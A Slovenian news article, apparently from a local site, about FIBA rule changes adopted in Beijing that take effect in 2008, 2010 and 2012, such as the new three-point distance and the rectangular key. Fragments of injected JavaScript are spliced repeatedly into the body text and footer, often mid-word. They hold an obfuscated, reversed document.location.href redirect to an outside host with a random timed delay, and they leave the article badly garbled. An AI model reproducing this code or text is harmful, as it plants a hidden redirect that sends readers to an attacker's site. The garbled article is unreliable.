FIBA sprejela spremembe košarkarskih pravil

FIBA sprejela spremembe košarkarskih pravil

Mednarodna košarkarska organizacija (FIBA) je konec tedna v Pekingu na zasedanju centralnega odbora sprejela revolucionarne spremembe pravil, ki bodo v veljavo stobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}topile po treh "etapah" do leta 2012. Med drugim "T-shirt" majic tako ne bo več mogoče nositi pod dresom, drsenje po parketu ne bo več označeno za korake, trapez oziroma "raketa" se bo spremenil(a) v pravokotnik, met za tri tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}točke pa bo namestobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to 625 cm od koša oddaljen 675 cm.


PRAVILA, KI BODO V VELJAVO STOPILA 1. OKTOBRA 2008

  • Pod dresom bo odslej prepovedano nositi t. i. majico "T-shirt".
  • Ob padcu na tla drsenje po tleh ne bo več označeno za prekršek korakov.
  • Žoga bo iz zadnjega (obrambnega) v prednji (napadalni) del igrišča odslej šla šele, ko bodo tako igralec z žogo, žoga kot obe igralčevi nogi prek sredinske črte.
  • Za prekršek sredine igrišča se ne bo več štela situacija, pri kateri košarkar iz zadnjega skoči v prednji del igrišča, posest žoge pa si pridobi v zraku.
  • če se bo igralec žoge, ko ta gre skozi obroč, dotaknil s spodnje strani (prek mrežice), tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to ne bo več sankcionirano le z opozorilom, temveč bo tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to prekršek, ki bo tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to napaka, ki bo primerno kaznovana.
  • Za nešportno osebno napako se bo štela vsaka osebna napaka, ki jo bo obrambni igralec pri nasprotnem napadu tekmecev s hrbta naredil nad napadalcem, če med slednjim in njegovim košem ne bo nobenega košarkarja.
  • Za tehnično napako se bo štelo vsako namerno grobo igranje s komolci ali namerno nastavljanje le-teh.

PRAVILA, KI BODO V VELJAVO STOPILA 1. OKTOBRA 2010 NA VELIKIH TEKMOVANJIH POD OKRILJEM FIBA IN 1. OKTOBRA 2012 NA VSEH TEKMOVANJIH

  • Nekdanji trapez oziroma v košarkarskem žargonu "raketobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to" bo zamenjal pravokotnik, ki bo označeval t. i. imenovano območje "treh sekund".
  • Razdalje meta, ki bo štel tri tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}točke, se bo s 6,25 pomaknila na 6,75 metra.
  • V zadnjih dveh minutah tekme in v podaljških bo po vsaki minuti odmora v napadalni (prednji) polovici igrišča posebej označeno mestobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to, iz katerega bodo napadalci lahko izvajali žogo v igrišče.
  • Pod obema košema bosta 1,25 metra (polmer) od namišljene linije, ki gre pravokotno na parket skozi sredino obroča, zarisana polkroga, v katerih ne bo mogoče dosoditi osebne napake v napadu.
  • Po prekinitivi igre, ki ima za posledico nov napad, bo v obrambni polovici igrišča ura za napad vrnjena na 24 sekund.
  • Po prekinitvi igre, ki ima za posledico nov napad, bo v napadalni polovici v primeru, da je poteklo 10 sekund napada ali manj, ura za napad ostala nepremaknjena, v primeru, da bo poteklo več kot 10 sekund, pa bo namestobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to na 24 sekund odslej vrnjena na 14 sekund.

SLIKA: IGRIŠčE Z NOVIMI MERAMI KOŠARKARSKEGA IGRIŠčA od leta 2012 dalje

Sostanj.info3758 Posts

Razpis TEŠ

Standom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and up za Duškota

0 Comments

Leave a Comment

Login

Welcome! Login in to your account

Remember me Lost your password?

Don't have account. Register

Lost Password

Register

Na naši stran uporabljamo piškotke za pravilno delovanje strani in beleženje obiskanosti strani. S strinjanjem nam dovolite uporabo piškotkov.

Zasebne nastavitve shranjene!
Nastavitve zasebnosti

Ko obiščete katero koli spletno mesto, le to lahko shranjuje ali pridobi podatke v vašem brskalniku, večinoma v obliki piškotkov. Tukaj nadzirate svoje osebne nastavitce za piškotke.

Ti piškotki so potrebni za delovanje spletnega mesta in jih ni moč onemogočiti.

Za pravilno delovanje spletne strani uporabljamo naslednje tehnične piškotke:

Zavrni vse piškotke
Dovoli vse piškotki